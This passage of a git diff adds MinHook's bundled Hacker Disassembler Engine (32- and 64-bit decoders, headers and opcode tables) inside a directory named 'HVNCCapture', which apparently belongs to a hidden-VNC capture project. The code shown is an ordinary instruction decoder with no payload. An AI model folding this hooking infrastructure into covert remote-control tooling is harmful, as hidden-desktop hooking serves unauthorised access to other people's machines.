+ table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM;
+ } else {
+ ht = hde32_table + DELTA_OP_ONLY_MEM;
+ table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
+ }
+ for (; ht != table_end; ht += 2)
+ if (*ht++ == opcode) {
+ if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
+ goto error_operand;
+ else
+ break;
+ }
+ goto no_error_operand;
+ } else if (hs->opcode2) {
+ switch (opcode) {
+ case 0x50: case 0xd7: case 0xf7:
+ if (pref & (PRE_NONE | PRE_66))
+ goto error_operand;
+ break;
+ case 0xd6:
+ if (pref & (PRE_F2 | PRE_F3))
+ goto error_operand;
+ break;
+ case 0xc5:
+ goto error_operand;
+ }
+ goto no_error_operand;
+ } else
+ goto no_error_operand;
+
+ error_operand:
+ hs->flags |= F_ERROR | F_ERROR_OPERAND;
+ no_error_operand:
+
+ c = *p++;
+ if (m_reg <= 1) {
+ if (opcode == 0xf6)
+ cflags |= C_IMM8;
+ else if (opcode == 0xf7)
+ cflags |= C_IMM_P66;
+ }
+
+ switch (m_mod) {
+ case 0:
+ if (pref & PRE_67) {
+ if (m_rm == 6)
+ disp_size = 2;
+ } else
+ if (m_rm == 5)
+ disp_size = 4;
+ break;
+ case 1:
+ disp_size = 1;
+ break;
+ case 2:
+ disp_size = 2;
+ if (!(pref & PRE_67))
+ disp_size <<= 1;
+ break;
+ }
+
+ if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
+ hs->flags |= F_SIB;
+ p++;
+ hs->sib = c;
+ hs->sib_scale = c >> 6;
+ hs->sib_index = (c & 0x3f) >> 3;
+ if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
+ disp_size = 4;
+ }
+
+ p--;
+ switch (disp_size) {
+ case 1:
+ hs->flags |= F_DISP8;
+ hs->disp.disp8 = *p;
+ break;
+ case 2:
+ hs->flags |= F_DISP16;
+ hs->disp.disp16 = *(uint16_t *)p;
+ break;
+ case 4:
+ hs->flags |= F_DISP32;
+ hs->disp.disp32 = *(uint32_t *)p;
+ break;
+ }
+ p += disp_size;
+ } else if (pref & PRE_LOCK)
+ hs->flags |= F_ERROR | F_ERROR_LOCK;
+
+ if (cflags & C_IMM_P66) {
+ if (cflags & C_REL32) {
+ if (pref & PRE_66) {
+ hs->flags |= F_IMM16 | F_RELATIVE;
+ hs->imm.imm16 = *(uint16_t *)p;
+ p += 2;
+ goto disasm_done;
+ }
+ goto rel32_ok;
+ }
+ if (pref & PRE_66) {
+ hs->flags |= F_IMM16;
+ hs->imm.imm16 = *(uint16_t *)p;
+ p += 2;
+ } else {
+ hs->flags |= F_IMM32;
+ hs->imm.imm32 = *(uint32_t *)p;
+ p += 4;
+ }
+ }
+
+ if (cflags & C_IMM16) {
+ if (hs->flags & F_IMM32) {
+ hs->flags |= F_IMM16;
+ hs->disp.disp16 = *(uint16_t *)p;
+ } else if (hs->flags & F_IMM16) {
+ hs->flags |= F_2IMM16;
+ hs->disp.disp16 = *(uint16_t *)p;
+ } else {
+ hs->flags |= F_IMM16;
+ hs->imm.imm16 = *(uint16_t *)p;
+ }
+ p += 2;
+ }
+ if (cflags & C_IMM8) {
+ hs->flags |= F_IMM8;
+ hs->imm.imm8 = *p++;
+ }
+
+ if (cflags & C_REL32) {
+ rel32_ok:
+ hs->flags |= F_IMM32 | F_RELATIVE;
+ hs->imm.imm32 = *(uint32_t *)p;
+ p += 4;
+ } else if (cflags & C_REL8) {
+ hs->flags |= F_IMM8 | F_RELATIVE;
+ hs->imm.imm8 = *p++;
+ }
+
+ disasm_done:
+
+ if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
+ hs->flags |= F_ERROR | F_ERROR_LENGTH;
+ hs->len = 15;
+ }
+
+ return (unsigned int)hs->len;
+}
+
+#endif // defined(_M_IX86) || defined(__i386__)
diff --git a/HVNCCapture/Minhook/src/hde/hde32.h b/HVNCCapture/Minhook/src/hde/hde32.h
new file mode 100644
index 0000000..1112450
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hde/hde32.h
@@ -0,0 +1,105 @@
+/*
+ * Hacker Disassembler Engine 32
+ * Copyright (c) 2006-2009, Vyacheslav Patkov.
+ * All rights reserved.
+ *
+ * hde32.h: C/C++ header file
+ *
+ */
+
+#ifndef _HDE32_H_
+#define _HDE32_H_
+
+/* stdint.h - C99 standard header
+ * http://en.wikipedia.org/wiki/stdint.h
+ *
+ * if your compiler doesn't contain "stdint.h" header (for
+ * example, Microsoft Visual C++), you can download file:
+ * http://www.azillionmonkeys.com/qed/pstdint.h
+ * and change next line to:
+ * #include "pstdint.h"
+ */
+#include "pstdint.h"
+
+#define F_MODRM 0x00000001
+#define F_SIB 0x00000002
+#define F_IMM8 0x00000004
+#define F_IMM16 0x00000008
+#define F_IMM32 0x00000010
+#define F_DISP8 0x00000020
+#define F_DISP16 0x00000040
+#define F_DISP32 0x00000080
+#define F_RELATIVE 0x00000100
+#define F_2IMM16 0x00000800
+#define F_ERROR 0x00001000
+#define F_ERROR_OPCODE 0x00002000
+#define F_ERROR_LENGTH 0x00004000
+#define F_ERROR_LOCK 0x00008000
+#define F_ERROR_OPERAND 0x00010000
+#define F_PREFIX_REPNZ 0x01000000
+#define F_PREFIX_REPX 0x02000000
+#define F_PREFIX_REP 0x03000000
+#define F_PREFIX_66 0x04000000
+#define F_PREFIX_67 0x08000000
+#define F_PREFIX_LOCK 0x10000000
+#define F_PREFIX_SEG 0x20000000
+#define F_PREFIX_ANY 0x3f000000
+
+#define PREFIX_SEGMENT_CS 0x2e
+#define PREFIX_SEGMENT_SS 0x36
+#define PREFIX_SEGMENT_DS 0x3e
+#define PREFIX_SEGMENT_ES 0x26
+#define PREFIX_SEGMENT_FS 0x64
+#define PREFIX_SEGMENT_GS 0x65
+#define PREFIX_LOCK 0xf0
+#define PREFIX_REPNZ 0xf2
+#define PREFIX_REPX 0xf3
+#define PREFIX_OPERAND_SIZE 0x66
+#define PREFIX_ADDRESS_SIZE 0x67
+
+#pragma pack(push,1)
+
+typedef struct {
+ uint8_t len;
+ uint8_t p_rep;
+ uint8_t p_lock;
+ uint8_t p_seg;
+ uint8_t p_66;
+ uint8_t p_67;
+ uint8_t opcode;
+ uint8_t opcode2;
+ uint8_t modrm;
+ uint8_t modrm_mod;
+ uint8_t modrm_reg;
+ uint8_t modrm_rm;
+ uint8_t sib;
+ uint8_t sib_scale;
+ uint8_t sib_index;
+ uint8_t sib_base;
+ union {
+ uint8_t imm8;
+ uint16_t imm16;
+ uint32_t imm32;
+ } imm;
+ union {
+ uint8_t disp8;
+ uint16_t disp16;
+ uint32_t disp32;
+ } disp;
+ uint32_t flags;
+} hde32s;
+
+#pragma pack(pop)
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* __cdecl */
+unsigned int hde32_disasm(const void *code, hde32s *hs);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* _HDE32_H_ */
diff --git a/HVNCCapture/Minhook/src/hde/hde64.c b/HVNCCapture/Minhook/src/hde/hde64.c
new file mode 100644
index 0000000..ce773b1
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hde/hde64.c
@@ -0,0 +1,335 @@
+/*
+ * Hacker Disassembler Engine 64 C
+ * Copyright (c) 2008-2009, Vyacheslav Patkov.
+ * All rights reserved.
+ *
+ */
+
+#if defined(_M_X64) || defined(__x86_64__)
+
+#include
+#include "hde64.h"
+#include "table64.h"
+
+unsigned int hde64_disasm(const void *code, hde64s *hs)
+{
+ uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
+ uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
+ uint8_t op64 = 0;
+
+ memset(hs, 0, sizeof(hde64s));
+
+ for (x = 16; x; x--)
+ switch (c = *p++) {
+ case 0xf3:
+ hs->p_rep = c;
+ pref |= PRE_F3;
+ break;
+ case 0xf2:
+ hs->p_rep = c;
+ pref |= PRE_F2;
+ break;
+ case 0xf0:
+ hs->p_lock = c;
+ pref |= PRE_LOCK;
+ break;
+ case 0x26: case 0x2e: case 0x36:
+ case 0x3e: case 0x64: case 0x65:
+ hs->p_seg = c;
+ pref |= PRE_SEG;
+ break;
+ case 0x66:
+ hs->p_66 = c;
+ pref |= PRE_66;
+ break;
+ case 0x67:
+ hs->p_67 = c;
+ pref |= PRE_67;
+ break;
+ default:
+ goto pref_done;
+ }
+ pref_done:
+
+ hs->flags = (uint32_t)pref << 23;
+
+ if (!pref)
+ pref |= PRE_NONE;
+
+ if ((c & 0xf0) == 0x40) {
+ hs->flags |= F_PREFIX_REX;
+ if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
+ op64++;
+ hs->rex_r = (c & 7) >> 2;
+ hs->rex_x = (c & 3) >> 1;
+ hs->rex_b = c & 1;
+ if (((c = *p++) & 0xf0) == 0x40) {
+ opcode = c;
+ goto error_opcode;
+ }
+ }
+
+ if ((hs->opcode = c) == 0x0f) {
+ hs->opcode2 = c = *p++;
+ ht += DELTA_OPCODES;
+ } else if (c >= 0xa0 && c <= 0xa3) {
+ op64++;
+ if (pref & PRE_67)
+ pref |= PRE_66;
+ else
+ pref &= ~PRE_66;
+ }
+
+ opcode = c;
+ cflags = ht[ht[opcode / 4] + (opcode % 4)];
+
+ if (cflags == C_ERROR) {
+ error_opcode:
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+ cflags = 0;
+ if ((opcode & -3) == 0x24)
+ cflags++;
+ }
+
+ x = 0;
+ if (cflags & C_GROUP) {
+ uint16_t t;
+ t = *(uint16_t *)(ht + (cflags & 0x7f));
+ cflags = (uint8_t)t;
+ x = (uint8_t)(t >> 8);
+ }
+
+ if (hs->opcode2) {
+ ht = hde64_table + DELTA_PREFIXES;
+ if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+ }
+
+ if (cflags & C_MODRM) {
+ hs->flags |= F_MODRM;
+ hs->modrm = c = *p++;
+ hs->modrm_mod = m_mod = c >> 6;
+ hs->modrm_rm = m_rm = c & 7;
+ hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
+
+ if (x && ((x << m_reg) & 0x80))
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+
+ if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
+ uint8_t t = opcode - 0xd9;
+ if (m_mod == 3) {
+ ht = hde64_table + DELTA_FPU_MODRM + t*8;
+ t = ht[m_reg] << m_rm;
+ } else {
+ ht = hde64_table + DELTA_FPU_REG;
+ t = ht[t] << m_reg;
+ }
+ if (t & 0x80)
+ hs->flags |= F_ERROR | F_ERROR_OPCODE;
+ }
+
+ if (pref & PRE_LOCK) {
+ if (m_mod == 3) {
+ hs->flags |= F_ERROR | F_ERROR_LOCK;
+ } else {
+ uint8_t *table_end, op = opcode;
+ if (hs->opcode2) {
+ ht = hde64_table + DELTA_OP2_LOCK_OK;
+ table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
+ } else {
+ ht = hde64_table + DELTA_OP_LOCK_OK;
+ table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
+ op &= -2;
+ }
+ for (; ht != table_end; ht++)
+ if (*ht++ == op) {
+ if (!((*ht << m_reg) & 0x80))
+ goto no_lock_error;
+ else
+ break;
+ }
+ hs->flags |= F_ERROR | F_ERROR_LOCK;
+ no_lock_error:
+ ;
+ }
+ }
+
+ if (hs->opcode2) {
+ switch (opcode) {
+ case 0x20: case 0x22:
+ m_mod = 3;
+ if (m_reg > 4 || m_reg == 1)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ case 0x21: case 0x23:
+ m_mod = 3;
+ if (m_reg == 4 || m_reg == 5)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ }
+ } else {
+ switch (opcode) {
+ case 0x8c:
+ if (m_reg > 5)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ case 0x8e:
+ if (m_reg == 1 || m_reg > 5)
+ goto error_operand;
+ else
+ goto no_error_operand;
+ }
+ }
+
+ if (m_mod == 3) {
+ uint8_t *table_end;
+ if (hs->opcode2) {
+ ht = hde64_table + DELTA_OP2_ONLY_MEM;
+ table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
+ } else {
+ ht = hde64_table + DELTA_OP_ONLY_MEM;
+ table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
+ }
+ for (; ht != table_end; ht += 2)
+ if (*ht++ == opcode) {
+ if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
+ goto error_operand;
+ else
+ break;
+ }
+ goto no_error_operand;
+ } else if (hs->opcode2) {
+ switch (opcode) {
+ case 0x50: case 0xd7: case 0xf7:
+ if (pref & (PRE_NONE | PRE_66))
+ goto error_operand;
+ break;
+ case 0xd6:
+ if (pref & (PRE_F2 | PRE_F3))
+ goto error_operand;
+ break;
+ case 0xc5:
+ goto error_operand;
+ }
+ goto no_error_operand;
+ } else
+ goto no_error_operand;
+
+ error_operand:
+ hs->flags |= F_ERROR | F_ERROR_OPERAND;
+ no_error_operand:
+
+ c = *p++;
+ if (m_reg <= 1) {
+ if (opcode == 0xf6)
+ cflags |= C_IMM8;
+ else if (opcode == 0xf7)
+ cflags |= C_IMM_P66;
+ }
+
+ switch (m_mod) {
+ case 0:
+ if (pref & PRE_67) {
+ if (m_rm == 6)
+ disp_size = 2;
+ } else
+ if (m_rm == 5)
+ disp_size = 4;
+ break;
+ case 1:
+ disp_size = 1;
+ break;
+ case 2:
+ disp_size = 2;
+ if (!(pref & PRE_67))
+ disp_size <<= 1;
+ break;
+ }
+
+ if (m_mod != 3 && m_rm == 4) {
+ hs->flags |= F_SIB;
+ p++;
+ hs->sib = c;
+ hs->sib_scale = c >> 6;
+ hs->sib_index = (c & 0x3f) >> 3;
+ if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
+ disp_size = 4;
+ }
+
+ p--;
+ switch (disp_size) {
+ case 1:
+ hs->flags |= F_DISP8;
+ hs->disp.disp8 = *p;
+ break;
+ case 2:
+ hs->flags |= F_DISP16;
+ hs->disp.disp16 = *(uint16_t *)p;
+ break;
+ case 4:
+ hs->flags |= F_DISP32;
+ hs->disp.disp32 = *(uint32_t *)p;
+ break;
+ }
+ p += disp_size;
+ } else if (pref & PRE_LOCK)
+ hs->flags |= F_ERROR | F_ERROR_LOCK;
+
+ if (cflags & C_IMM_P66) {
+ if (cflags & C_REL32) {
+ if (pref & PRE_66) {
+ hs->flags |= F_IMM16 | F_RELATIVE;
+ hs->imm.imm16 = *(uint16_t *)p;
+ p += 2;
+ goto disasm_done;
+ }
+ goto rel32_ok;
+ }
+ if (op64) {
+ hs->flags |= F_IMM64;
+ hs->imm.imm64 = *(uint64_t *)p;
+ p += 8;
+ } else if (!(pref & PRE_66)) {
+ hs->flags |= F_IMM32;
+ hs->imm.imm32 = *(uint32_t *)p;
+ p += 4;
+ } else
+ goto imm16_ok;
+ }
+
+
+ if (cflags & C_IMM16) {
+ imm16_ok:
+ hs->flags |= F_IMM16;
+ hs->imm.imm16 = *(uint16_t *)p;
+ p += 2;
+ }
+ if (cflags & C_IMM8) {
+ hs->flags |= F_IMM8;
+ hs->imm.imm8 = *p++;
+ }
+
+ if (cflags & C_REL32) {
+ rel32_ok:
+ hs->flags |= F_IMM32 | F_RELATIVE;
+ hs->imm.imm32 = *(uint32_t *)p;
+ p += 4;
+ } else if (cflags & C_REL8) {
+ hs->flags |= F_IMM8 | F_RELATIVE;
+ hs->imm.imm8 = *p++;
+ }
+
+ disasm_done:
+
+ if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
+ hs->flags |= F_ERROR | F_ERROR_LENGTH;
+ hs->len = 15;
+ }
+
+ return (unsigned int)hs->len;
+}
+
+#endif // defined(_M_X64) || defined(__x86_64__)
diff --git a/HVNCCapture/Minhook/src/hde/hde64.h b/HVNCCapture/Minhook/src/hde/hde64.h
new file mode 100644
index 0000000..ecbf4df
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hde/hde64.h
@@ -0,0 +1,112 @@
+/*
+ * Hacker Disassembler Engine 64
+ * Copyright (c) 2008-2009, Vyacheslav Patkov.
+ * All rights reserved.
+ *
+ * hde64.h: C/C++ header file
+ *
+ */
+
+#ifndef _HDE64_H_
+#define _HDE64_H_
+
+/* stdint.h - C99 standard header
+ * http://en.wikipedia.org/wiki/stdint.h
+ *
+ * if your compiler doesn't contain "stdint.h" header (for
+ * example, Microsoft Visual C++), you can download file:
+ * http://www.azillionmonkeys.com/qed/pstdint.h
+ * and change next line to:
+ * #include "pstdint.h"
+ */
+#include "pstdint.h"
+
+#define F_MODRM 0x00000001
+#define F_SIB 0x00000002
+#define F_IMM8 0x00000004
+#define F_IMM16 0x00000008
+#define F_IMM32 0x00000010
+#define F_IMM64 0x00000020
+#define F_DISP8 0x00000040
+#define F_DISP16 0x00000080
+#define F_DISP32 0x00000100
+#define F_RELATIVE 0x00000200
+#define F_ERROR 0x00001000
+#define F_ERROR_OPCODE 0x00002000
+#define F_ERROR_LENGTH 0x00004000
+#define F_ERROR_LOCK 0x00008000
+#define F_ERROR_OPERAND 0x00010000
+#define F_PREFIX_REPNZ 0x01000000
+#define F_PREFIX_REPX 0x02000000
+#define F_PREFIX_REP 0x03000000
+#define F_PREFIX_66 0x04000000
+#define F_PREFIX_67 0x08000000
+#define F_PREFIX_LOCK 0x10000000
+#define F_PREFIX_SEG 0x20000000
+#define F_PREFIX_REX 0x40000000
+#define F_PREFIX_ANY 0x7f000000
+
+#define PREFIX_SEGMENT_CS 0x2e
+#define PREFIX_SEGMENT_SS 0x36
+#define PREFIX_SEGMENT_DS 0x3e
+#define PREFIX_SEGMENT_ES 0x26
+#define PREFIX_SEGMENT_FS 0x64
+#define PREFIX_SEGMENT_GS 0x65
+#define PREFIX_LOCK 0xf0
+#define PREFIX_REPNZ 0xf2
+#define PREFIX_REPX 0xf3
+#define PREFIX_OPERAND_SIZE 0x66
+#define PREFIX_ADDRESS_SIZE 0x67
+
+#pragma pack(push,1)
+
+typedef struct {
+ uint8_t len;
+ uint8_t p_rep;
+ uint8_t p_lock;
+ uint8_t p_seg;
+ uint8_t p_66;
+ uint8_t p_67;
+ uint8_t rex;
+ uint8_t rex_w;
+ uint8_t rex_r;
+ uint8_t rex_x;
+ uint8_t rex_b;
+ uint8_t opcode;
+ uint8_t opcode2;
+ uint8_t modrm;
+ uint8_t modrm_mod;
+ uint8_t modrm_reg;
+ uint8_t modrm_rm;
+ uint8_t sib;
+ uint8_t sib_scale;
+ uint8_t sib_index;
+ uint8_t sib_base;
+ union {
+ uint8_t imm8;
+ uint16_t imm16;
+ uint32_t imm32;
+ uint64_t imm64;
+ } imm;
+ union {
+ uint8_t disp8;
+ uint16_t disp16;
+ uint32_t disp32;
+ } disp;
+ uint32_t flags;
+} hde64s;
+
+#pragma pack(pop)
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* __cdecl */
+unsigned int hde64_disasm(const void *code, hde64s *hs);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* _HDE64_H_ */
diff --git a/HVNCCapture/Minhook/src/hde/pstdint.h b/HVNCCapture/Minhook/src/hde/pstdint.h
new file mode 100644
index 0000000..84d82a0
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hde/pstdint.h
@@ -0,0 +1,39 @@
+/*
+ * MinHook - The Minimalistic API Hooking Library for x64/x86
+ * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#pragma once
+
+#include
+
+// Integer types for HDE.
+typedef INT8 int8_t;
+typedef INT16 int16_t;
+typedef INT32 int32_t;
+typedef INT64 int64_t;
+typedef UINT8 uint8_t;
+typedef UINT16 uint16_t;
+typedef UINT32 uint32_t;
+typedef UINT64 uint64_t;
diff --git a/HVNCCapture/Minhook/src/hde/table32.h b/HVNCCapture/Minhook/src/hde/table32.h
new file mode 100644
index 0000000..7b3e12e
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hde/table32.h
@@ -0,0 +1,73 @@
+/*
+ * Hacker Disassembler Engine 32 C
+ * Copyright (c) 2008-2009, Vyacheslav Patkov.
+ * All rights reserved.
+ *
+ */
+
+#define C_NONE 0x00
+#define C_MODRM 0x01
+#define C_IMM8 0x02
+#define C_IMM16 0x04
+#define C_IMM_P66 0x10
+#define C_REL8 0x20
+#define C_REL32 0x40
+#define C_GROUP 0x80
+#define C_ERROR 0xff
+
+#define PRE_ANY 0x00
+#define PRE_NONE 0x01
+#define PRE_F2 0x02
+#define PRE_F3 0x04
+#define PRE_66 0x08
+#define PRE_67 0x10
+#define PRE_LOCK 0x20
+#define PRE_SEG 0x40
+#define PRE_ALL 0xff
+
+#define DELTA_OPCODES 0x4a
+#define DELTA_FPU_REG 0xf1
+#define DELTA_FPU_MODRM 0xf8
+#define DELTA_PREFIXES 0x130
+#define DELTA_OP_LOCK_OK 0x1a1
+#define DELTA_OP2_LOCK_OK 0x1b9
+#define DELTA_OP_ONLY_MEM 0x1cb
+#define DELTA_OP2_ONLY_MEM 0x1da
+
+unsigned char hde32_table[] = {
+ 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
+ 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
+ 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
+ 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
+ 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
+ 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
+ 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
+ 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
+ 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
+ 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
+ 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
+ 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
+ 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
+ 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
+ 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
+ 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
+ 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
+ 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
+ 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
+ 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
+ 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
+ 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
+ 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
+ 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
+ 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
+ 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
+ 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
+ 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
+ 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
+ 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
+ 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
+ 0xe7,0x08,0x00,0xf0,0x02,0x00
+};
diff --git a/HVNCCapture/Minhook/src/hde/table64.h b/HVNCCapture/Minhook/src/hde/table64.h
new file mode 100644
index 0000000..01d4541
--- /dev/null
+++ b/HVNCCapture/Minhook/src/hde/table64.h
@@ -0,0 +1,74 @@
+/*
+ * Hacker Disassembler Engine 64 C
+ * Copyright (c) 2008-2009, Vyacheslav Patkov.
+ * All rights reserved.
+ *
+ */
+
+#define C_NONE 0x00
+#define C_MODRM 0x01
+#define C_IMM8 0x02
+#define C_IMM16 0x04
+#define C_IMM_P66 0x10
+#define C_REL8 0x20
+#define C_REL32 0x40
+#define C_GROUP 0x80
+#define C_ERROR 0xff
+
+#define PRE_ANY 0x00
+#define PRE_NONE 0x01
+#define PRE_F2 0x02
+#define PRE_F3 0x04
+#define PRE_66 0x08
+#define PRE_67 0x10
+#define PRE_LOCK 0x20
+#define PRE_SEG 0x40
+#define PRE_ALL 0xff
+
+#define DELTA_OPCODES 0x4a
+#define DELTA_FPU_REG 0xfd
+#define DELTA_FPU_MODRM 0x104
+#define DELTA_PREFIXES 0x13c
+#define DELTA_OP_LOCK_OK 0x1ae
+#define DELTA_OP2_LOCK_OK 0x1c6
+#define DELTA_OP_ONLY_MEM 0x1d8
+#define DELTA_OP2_ONLY_MEM 0x1e7
+
+unsigned char hde64_table[] = {
+ 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
+ 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
+ 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
+ 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
+ 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
+ 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
